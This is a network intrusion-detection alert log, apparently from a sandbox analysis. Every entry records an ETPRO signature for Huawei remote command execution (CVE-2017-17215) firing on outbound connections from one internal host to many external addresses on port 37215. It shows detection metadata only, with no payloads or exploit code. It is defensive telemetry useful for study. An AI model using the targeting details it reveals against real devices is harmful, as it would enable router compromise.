2024-10-08T20:35:22.052330+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46294	156.112.83.10	37215	TCP
2024-10-08T20:35:23.022185+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60574	156.18.184.170	37215	TCP
2024-10-08T20:35:23.035060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55116	156.205.238.204	37215	TCP
2024-10-08T20:35:23.035391+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60436	197.79.207.43	37215	TCP
2024-10-08T20:35:23.035461+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45332	197.131.12.35	37215	TCP
2024-10-08T20:35:23.039126+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48596	156.100.216.217	37215	TCP
2024-10-08T20:35:24.050980+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44664	197.155.73.226	37215	TCP
2024-10-08T20:35:24.058167+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53388	197.201.120.93	37215	TCP
2024-10-08T20:35:24.070292+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54580	41.22.29.207	37215	TCP
2024-10-08T20:35:25.302841+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54578	156.253.100.178	37215	TCP
2024-10-08T20:35:25.395006+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50330	41.14.124.157	37215	TCP
2024-10-08T20:35:25.395020+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47930	197.23.250.142	37215	TCP
2024-10-08T20:35:25.395021+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40602	156.199.188.62	37215	TCP
2024-10-08T20:35:25.396944+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41756	197.111.180.37	37215	TCP
2024-10-08T20:35:25.410301+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50944	41.112.49.147	37215	TCP
2024-10-08T20:35:25.411054+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36302	197.77.38.156	37215	TCP
2024-10-08T20:35:25.412539+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45252	41.119.213.230	37215	TCP
2024-10-08T20:35:25.412680+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35340	197.124.118.66	37215	TCP
2024-10-08T20:35:25.412938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37006	41.10.217.61	37215	TCP
2024-10-08T20:35:25.413281+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55672	41.158.117.220	37215	TCP
2024-10-08T20:35:25.413300+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36816	156.130.165.166	37215	TCP
2024-10-08T20:35:25.413526+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47700	41.204.0.196	37215	TCP
2024-10-08T20:35:25.427027+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54602	156.230.153.9	37215	TCP
2024-10-08T20:35:25.427209+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51388	41.191.129.144	37215	TCP
2024-10-08T20:35:25.427906+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58664	41.177.217.119	37215	TCP
2024-10-08T20:35:25.428361+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39728	156.99.131.88	37215	TCP
2024-10-08T20:35:25.429019+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42078	41.236.236.237	37215	TCP
2024-10-08T20:35:25.429059+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36272	41.135.54.131	37215	TCP
2024-10-08T20:35:25.429287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54688	197.79.51.55	37215	TCP
2024-10-08T20:35:25.430126+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36670	197.163.71.112	37215	TCP
2024-10-08T20:35:25.430433+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39888	197.19.182.26	37215	TCP
2024-10-08T20:35:25.431025+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34428	156.240.231.230	37215	TCP
2024-10-08T20:35:25.431178+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34410	197.6.96.0	37215	TCP
2024-10-08T20:35:25.431182+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46946	197.189.33.115	37215	TCP
2024-10-08T20:35:25.431915+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54490	41.203.154.176	37215	TCP
2024-10-08T20:35:25.432121+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54662	156.151.8.61	37215	TCP
2024-10-08T20:35:25.432523+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42716	41.166.131.116	37215	TCP
2024-10-08T20:35:25.432527+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60892	156.140.155.227	37215	TCP
2024-10-08T20:35:25.432993+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58902	156.169.120.167	37215	TCP
2024-10-08T20:35:25.441158+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51898	197.193.254.199	37215	TCP
2024-10-08T20:35:25.441810+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53550	197.176.134.58	37215	TCP
2024-10-08T20:35:25.447332+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43342	197.208.164.200	37215	TCP
2024-10-08T20:35:25.447368+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56106	156.201.102.249	37215	TCP
2024-10-08T20:35:25.447398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58436	197.253.164.163	37215	TCP
2024-10-08T20:35:25.447667+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54122	156.225.156.96	37215	TCP
2024-10-08T20:35:25.452587+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58826	41.186.147.30	37215	TCP
2024-10-08T20:35:25.461947+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58418	41.198.196.83	37215	TCP
2024-10-08T20:35:25.462164+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55614	41.27.74.157	37215	TCP
2024-10-08T20:35:25.464461+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37214	156.201.92.177	37215	TCP
2024-10-08T20:35:25.478591+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44064	41.61.133.151	37215	TCP
2024-10-08T20:35:25.479102+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50358	156.125.209.23	37215	TCP
2024-10-08T20:35:25.840498+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48460	156.235.52.108	37215	TCP
2024-10-08T20:35:26.367952+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33892	156.230.216.125	37215	TCP
2024-10-08T20:35:26.530210+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51340	156.48.80.206	37215	TCP
2024-10-08T20:35:26.530301+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42148	197.19.81.48	37215	TCP
2024-10-08T20:35:26.530494+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42504	41.118.15.27	37215	TCP
2024-10-08T20:35:26.536232+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40154	156.31.227.73	37215	TCP
2024-10-08T20:35:26.537019+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42864	41.205.30.77	37215	TCP
2024-10-08T20:35:27.394728+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44818	41.42.28.134	37215	TCP
2024-10-08T20:35:27.394874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60888	41.142.249.137	37215	TCP
2024-10-08T20:35:27.394875+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47346	197.231.166.138	37215	TCP
2024-10-08T20:35:27.394965+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58544	41.21.247.171	37215	TCP
2024-10-08T20:35:27.395029+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48338	197.17.28.21	37215	TCP
2024-10-08T20:35:27.395052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54122	41.88.234.119	37215	TCP
2024-10-08T20:35:27.395195+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57322	156.219.173.248	37215	TCP
2024-10-08T20:35:27.395197+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56126	41.216.112.25	37215	TCP
2024-10-08T20:35:27.395403+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38280	41.29.128.127	37215	TCP
2024-10-08T20:35:27.396583+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60338	41.143.130.151	37215	TCP
2024-10-08T20:35:27.399990+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36978	156.144.19.119	37215	TCP
2024-10-08T20:35:27.410078+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54602	41.89.207.159	37215	TCP
2024-10-08T20:35:27.410180+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39506	156.98.133.177	37215	TCP
2024-10-08T20:35:27.413899+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39536	197.229.113.227	37215	TCP
2024-10-08T20:35:27.414176+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34202	41.78.56.14	37215	TCP
2024-10-08T20:35:27.425843+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51792	197.95.239.198	37215	TCP
2024-10-08T20:35:27.430557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41980	156.201.11.50	37215	TCP
2024-10-08T20:35:27.430864+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41818	197.7.216.247	37215	TCP
2024-10-08T20:35:27.441869+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47232	197.169.1.93	37215	TCP
2024-10-08T20:35:27.442266+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34258	156.32.63.232	37215	TCP
2024-10-08T20:35:27.442419+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42782	197.226.127.252	37215	TCP
2024-10-08T20:35:27.443644+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37920	41.1.90.143	37215	TCP
2024-10-08T20:35:27.445228+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47494	197.38.184.2	37215	TCP
2024-10-08T20:35:27.447843+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40754	156.50.145.109	37215	TCP
2024-10-08T20:35:27.458992+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49636	41.210.39.42	37215	TCP
2024-10-08T20:35:27.461107+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35474	156.144.175.111	37215	TCP
2024-10-08T20:35:27.461287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58534	197.143.19.115	37215	TCP
2024-10-08T20:35:27.462614+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39410	41.161.116.202	37215	TCP
2024-10-08T20:35:27.462846+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51554	156.82.40.87	37215	TCP
2024-10-08T20:35:27.555147+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41950	197.96.181.109	37215	TCP
2024-10-08T20:35:28.215409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42344	156.246.142.245	37215	TCP
2024-10-08T20:35:28.441009+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33642	197.3.22.47	37215	TCP
2024-10-08T20:35:28.442219+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47458	41.205.172.188	37215	TCP
2024-10-08T20:35:28.443146+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46740	41.18.45.176	37215	TCP
2024-10-08T20:35:28.443304+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33104	156.159.215.43	37215	TCP
2024-10-08T20:35:28.445648+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57490	41.33.177.207	37215	TCP
2024-10-08T20:35:28.457497+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58724	156.149.232.149	37215	TCP
2024-10-08T20:35:28.457506+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36926	197.3.188.150	37215	TCP
2024-10-08T20:35:28.458043+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39052	197.245.208.243	37215	TCP
2024-10-08T20:35:28.458060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52092	197.124.168.211	37215	TCP
2024-10-08T20:35:28.458882+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48212	156.32.28.102	37215	TCP
2024-10-08T20:35:28.459142+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41726	156.216.122.165	37215	TCP
2024-10-08T20:35:28.460814+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38566	197.144.156.159	37215	TCP
2024-10-08T20:35:28.461035+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44438	156.137.110.173	37215	TCP
2024-10-08T20:35:28.463413+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43694	41.115.9.17	37215	TCP
2024-10-08T20:35:28.472806+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39306	197.157.99.105	37215	TCP
2024-10-08T20:35:28.474618+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57618	197.88.167.250	37215	TCP
2024-10-08T20:35:29.457208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44464	41.86.59.25	37215	TCP
2024-10-08T20:35:29.472855+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60110	41.213.80.231	37215	TCP
2024-10-08T20:35:29.473577+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57354	156.79.184.202	37215	TCP
2024-10-08T20:35:29.474586+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58438	197.142.200.152	37215	TCP
2024-10-08T20:35:29.488833+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51034	41.182.51.171	37215	TCP
2024-10-08T20:35:29.490136+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38194	41.109.147.125	37215	TCP
2024-10-08T20:35:29.537940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50126	197.24.38.174	37215	TCP
2024-10-08T20:35:29.538049+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37950	41.18.225.153	37215	TCP
2024-10-08T20:35:29.538272+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50604	41.210.160.243	37215	TCP
2024-10-08T20:35:29.539828+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59234	41.191.9.217	37215	TCP
2024-10-08T20:35:29.542408+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33532	156.236.248.85	37215	TCP
2024-10-08T20:35:29.564138+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56124	156.155.53.3	37215	TCP
2024-10-08T20:35:29.928992+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51340	156.154.243.104	37215	TCP
2024-10-08T20:35:30.489473+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43100	156.130.157.23	37215	TCP
2024-10-08T20:35:30.489579+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49766	156.94.240.128	37215	TCP
2024-10-08T20:35:30.489613+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44114	156.61.64.209	37215	TCP
2024-10-08T20:35:30.489832+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51618	156.8.110.166	37215	TCP
2024-10-08T20:35:30.489920+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45622	197.221.29.33	37215	TCP
2024-10-08T20:35:30.490576+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51186	41.97.182.30	37215	TCP
2024-10-08T20:35:30.490756+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50050	156.5.216.107	37215	TCP
2024-10-08T20:35:30.490834+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38672	41.5.241.210	37215	TCP
2024-10-08T20:35:30.508340+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49170	41.76.188.140	37215	TCP
2024-10-08T20:35:30.525750+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54818	41.201.2.142	37215	TCP
2024-10-08T20:35:30.535994+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56442	156.20.35.147	37215	TCP
2024-10-08T20:35:30.552757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45920	197.10.146.244	37215	TCP
2024-10-08T20:35:30.570288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58014	197.171.117.231	37215	TCP
2024-10-08T20:35:31.504243+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36902	41.238.251.20	37215	TCP
2024-10-08T20:35:31.519304+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59536	156.22.179.209	37215	TCP
2024-10-08T20:35:31.519884+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55100	41.51.176.48	37215	TCP
2024-10-08T20:35:31.520081+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44220	41.138.80.222	37215	TCP
2024-10-08T20:35:31.520087+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60944	41.156.89.101	37215	TCP
2024-10-08T20:35:31.520225+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59510	41.68.115.180	37215	TCP
2024-10-08T20:35:31.520359+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34248	156.197.87.100	37215	TCP
2024-10-08T20:35:31.520745+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43430	41.232.176.143	37215	TCP
2024-10-08T20:35:31.520877+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55650	156.211.205.167	37215	TCP
2024-10-08T20:35:31.535622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58988	156.4.233.47	37215	TCP
2024-10-08T20:35:31.537449+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35786	197.248.62.201	37215	TCP
2024-10-08T20:35:31.537636+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32864	41.133.102.6	37215	TCP
2024-10-08T20:35:31.537636+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58746	197.155.100.106	37215	TCP
2024-10-08T20:35:31.537819+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37170	156.247.83.122	37215	TCP
2024-10-08T20:35:31.539237+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60710	197.150.231.207	37215	TCP
2024-10-08T20:35:31.539506+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56054	156.95.220.26	37215	TCP
2024-10-08T20:35:31.539733+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56536	41.155.100.88	37215	TCP
2024-10-08T20:35:31.539901+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54962	197.235.171.37	37215	TCP
2024-10-08T20:35:31.540049+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55452	156.218.40.203	37215	TCP
2024-10-08T20:35:31.540182+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53216	156.231.160.220	37215	TCP
2024-10-08T20:35:31.541241+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40398	41.66.135.91	37215	TCP
2024-10-08T20:35:31.555165+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43010	156.91.150.64	37215	TCP
2024-10-08T20:35:31.555592+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57546	41.109.112.106	37215	TCP
2024-10-08T20:35:31.556812+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60846	41.144.60.40	37215	TCP
2024-10-08T20:35:32.535806+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45090	41.119.10.136	37215	TCP
2024-10-08T20:35:32.552804+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45924	197.171.81.61	37215	TCP
2024-10-08T20:35:32.553333+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49648	197.9.111.143	37215	TCP
2024-10-08T20:35:32.553439+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40316	197.57.29.62	37215	TCP
2024-10-08T20:35:32.557213+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38558	41.191.50.163	37215	TCP
2024-10-08T20:35:32.559086+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50406	197.242.1.167	37215	TCP
2024-10-08T20:35:32.567794+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51960	197.33.199.127	37215	TCP
2024-10-08T20:35:32.569537+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33508	156.84.146.208	37215	TCP
